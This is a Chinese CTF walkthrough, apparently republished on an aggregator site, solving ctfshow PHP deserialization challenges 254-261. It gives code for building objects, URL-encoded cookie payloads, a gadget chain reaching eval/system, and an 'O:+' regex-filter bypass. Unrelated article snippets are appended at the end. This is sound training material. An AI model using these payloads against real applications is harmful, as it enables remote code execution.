ctfshow web入门 反序列化

254

分析代码:

如果用户名和密码参数都存在,脚本会创建一个 ctfShowUser 类的实例 $user

接着,调用 $user->login($username, $password) 方法尝试登录。如果登录成功(即用户名和密码与类中的默认值匹配),并且用户被标记为VIP($isVip 为 true),则调用 $user->vipOneKeyGetFlag() 方法输出 $flag 的值。

如果登录失败或用户不是VIP,脚本将输出 "no vip, no flag"。

要让程序返回true

需要确保通过GET请求传递的用户名和密码与 ctfShowUser 类中定义的默认用户名和密码相匹配。默认的用户名和密码都是 'xxxxxx'。

payload:

?username=xxxxxx&password=xxxxxx

255

第一个 if 语句检查是否通过GET请求设置了用户名和密码。

第二个 if 语句检查通过反序列化cookie中的用户对象调用 login 方法后返回的结果。

构造代码:

<?php
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}} 
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));?>

序列化得到:

O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

将代码进行url编码

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

更改cookie为:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

payload和254相同

?username=xxxxxx&password=xxxxxx

 

256

发现要求username和passaword的值不完全相等

if($this->username!==$this->password)

步骤同上题,构造:

<?php
//highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='a';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}}$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

 

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D
?username=xxxxxx&password=a

257

ctfShowUser

这个类有几个私有属性:$username、$password、$isVip 和 $class。

__construct 方法尝试创建一个 info 类的实例并赋值给 $class
login 方法检查传入的用户名和密码是否与类的私有属性 $username 和 $password 相匹配。
__destruct 方法在对象销毁时调用,尝试调用 $class 对象的 getInfo 方法。
info
存在一个私有属性 $user 和一个公共方法 getInfo,用于返回 $user 的值。
backDoor
存在一个私有属性 $code 和一个公共方法 getInfo。getInfo 方法使用 eval 执行 $code 属性的内容。
登录逻辑
代码从 $_GET 获取用户名和密码,并检查它们是否已设置。
如果设置了,代码尝试从 $_COOKIE['user'] 反序列化一个对象,并调用其 login 方法。

ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo

构造:

<?php
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}
}class backDoor{private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload

?username=xxxxxx&?password=xxxxxx

cookie

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

258

添加了正则匹配

使用正则表达式来检查序列化字符串是否以 o:c: 开头

用0:+数字即可绕过

构造代码:

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code="system('tac f*');";public function getInfo(){eval($this->code);}
}
echo serialize(new ctfShowUser);
?>

修改一下:

O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
url编码

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D

259

260

构造代码:

<?php
class ctfshow{public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>

运行结果:

O:7:"ctfshow":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}

261

highlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']); 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/285730.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vscode中导入#include “opencv2/opencv.hpp“

鼠标放到上面 点击快速修复 1.img.cpp // 图片的读取和显示 // 导入opencv头文件 #include "opencv2/opencv.hpp" #include <iostream>int main(int argc, char** argv) {// 读取图片&#xff0c;mat是matrix的缩写&#xff0c;是一个矩阵&#xff0c;类似与n…

睿眼(Realeye)视觉识别模型训练全流程心得分享

睿眼&#xff08;Realeye&#xff09;是一款集智能采集、识别、定位、抓取、视控全流程为一体的 AI 产品&#xff0c; 以其 AI 算法结合机械臂硬件实现对万事万物的定位抓取功能&#xff0c;能够实现对任意目标物从图 片采集、标注到模型训练和抓取。通过人性化的交互方式、易操…

自然语言处理: 第十九章LoRAQLoRA微调技巧

论文地址&#xff1a;使用低秩自适应 &#xff08;LoRA&#xff09; 进行参数高效LLM微调 - Lightning AI — Parameter-Efficient LLM Finetuning With Low-Rank Adaptation (LoRA) - Lightning AI 本篇文章是由位来自威斯康星大学麦迪逊分校的统计学助理教授Sebastian Raschk…

C++除了Qt还有什么GUI库?

C除了Qt还有什么GUI库&#xff1f; 先&#xff0c;不要折腾&#xff0c;不要想着用 C 来做 App 类的 GUI 开发。 所以你问用 c gui 库&#xff0c;本来确实有很多&#xff0c;但是经过几十年的沉淀&#xff0c;最后只留下一个 qt quick 和其他特殊需求的库&#xff08;包括 qt…

西圣、漫步者、万魔开放式耳机如何?甄选机型实测对比测评

无论是通勤、工作还是休闲时光&#xff0c;耳机总能为我们带来沉浸式的音乐体验。近年来&#xff0c;开放式耳机以其独特的优势逐渐受到市场的青睐&#xff0c;其中西圣、漫步者、万魔等品牌在市场上相当火热&#xff0c;那这三款开放式耳机的实际到底如何&#xff0c;还是有许…

nodeJs中实现连表查询

nodeJs中实现连表查询 router.post(/getOrder, async function(req, res, next) {let userId req.body.phone;let sql select * from orders where userId?;let orders await new Promise((resolve, reject) > {connection.query(sql, [userId], function(error, resul…

Python灰帽子网络安全实践

教程介绍 旨在降低网络防范黑客的入门门槛&#xff0c;适合所有中小企业和传统企业。罗列常见的攻击手段和防范方法&#xff0c;让网站管理人员都具备基本的保护能力。Python 编程的简单实现&#xff0c;让网络运维变得更简单。各种黑客工具的理论和原理解剖&#xff0c;让人知…

详解“外卡收单”系统(1)

近年来&#xff0c;随着跨境贸易和服务的不断发展&#xff0c;外卡收单行业展现出新的发展态势。随着越来越多外国人在中国消费&#xff0c;中国商家为满足海外消费者需求开始接受国际信用卡支付。根据官方数据显示&#xff0c;截至2023年11月&#xff0c;上海的外卡POS机已超过…

【C++】vector容器初步模拟

送给大家一句话&#xff1a; 努力一点&#xff0c;漂亮—点&#xff0c;阳光一点。早晚有一天&#xff0c;你会惊艳了时光&#xff0c;既无人能替&#xff0c;又光芒万丈。 vector容器初步模拟 1 认识vector开始了解底层实现 2 开始实现成员变量构造函数 析构函数尾插迭代器插入…

集成学习 | 集成学习思想:Boosting思想 | XGBoost算法、LightGBM算法

目录 一. XGBoost 算法1. XGBoost 算法流程2. XGBoost 算法评价 二. LightGBM 算法2. LightGBM 算法优势 上一篇文章中&#xff0c;我们了解了Boosting思想的两种算法&#xff1a;Adboost和GBDT&#xff1b;其中对于GBDT算法&#xff0c;存在两种改进&#xff0c;即&#xff1a…

外包干了20天,技术退步明显.......

先说一下自己的情况&#xff0c;大专生&#xff0c;21年通过校招进入杭州某软件公司&#xff0c;干了接近2年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了2年的功能测试…

1分钟带你学会使用Python操作 xlsx 文件绘制面积图

​我们工作中经常要处理海量的数据&#xff0c;如果没有一个直观的可视化工具&#xff0c;怎么可能一眼就看出数据背后的故事呢&#xff1f;数据可视化显得越来越重要&#xff0c;数据分析已经成了现代人必备的技能。 今天来和大家分享一个超有趣的数据可视化方法——绘制面积…

Redis中文乱码问题

最近排查问题&#xff0c;发现之前的开发将日志写在redis缓存中&#xff08;不建议这样做&#xff09;&#xff0c;我在查看日志的时候发现没办法阅读&#xff0c;详细是这样的&#xff1a; 查阅资料后发现是进制问题&#xff0c;解决方法是启动客户端的时候将redis-cli改为red…

流畅的 Python 第二版(GPT 重译)(四)

第二部分&#xff1a;函数作为对象 第七章&#xff1a;函数作为一等对象 我从未认为 Python 受到函数式语言的重大影响&#xff0c;无论人们说什么或想什么。我更熟悉命令式语言&#xff0c;如 C 和 Algol 68&#xff0c;尽管我将函数作为一等对象&#xff0c;但我并不认为 Py…

【机器学习】机器学习是什么?

文章目录 前言 机器学习 序列学习和对抗学习有什么不同 总结 前言 在当今快速发展的科技时代&#xff0c;人工智能已经成为推动社会进步的重要力量。机器学习&#xff0c;作为人工智能领域的一个重要分支&#xff0c;它的核心能力在于使计算机系统能够从数据中学习规律&…

Python RPA简单开发实践(selenium登陆浏览器自动输入密码登陆)

打开csdn博客&#xff0c;简单版 class BS:def __init__(self, url):self.url url# self.password password# self.username usernamedef login_url(self):from selenium import webdriver# 不自动关闭浏览器option webdriver.ChromeOptions()option.add_experimental_opt…

Vue 若依框架 form-generator添加表格组件和动态表单组件

效果图&#xff1a; 在若依框架自带的流程表单配置基础上添加这两个组件 config.js // 表单属性【右面板】 export const formConf {formRef: elForm,formModel: formData,other: other,size: medium,labelPosition: right,labelWidth: 100,formRules: rules,gutter: 15,dis…

LeetCode每日一题[c++]-322.零钱兑换

题目描述 给你一个整数数组 coins &#xff0c;表示不同面额的硬币&#xff1b;以及一个整数 amount &#xff0c;表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额&#xff0c;返回 -1 。 你可以认为每种硬币的数量是无…

游戏提示steam_api64.dll丢失怎样修复?教你5种快速修复的方法

在计算机系统中&#xff0c;如果未能成功找到或加载steam_api64.dll文件&#xff0c;可能会引发一系列的问题和故障现象。这个特定的DLL文件是Steam平台的核心组件之一&#xff0c;对于运行基于Steam平台的游戏或应用至关重要。当系统提示“找不到steam_api64.dll”时&#xff…

抖音视频关键词爬虫批量采集软件|视频提取下载工具

视频关键词批量采集软件 — 助力您快速获取所需视频 主要功能&#xff1a; 关键词批量提取视频和单独视频提取&#xff0c;提取后下载功能。 功能解析&#xff1a; 1. 关键词批量提取视频的解析 通过输入关键词进行视频搜索和提取。例如&#xff0c;输入“汽车配件”&#x…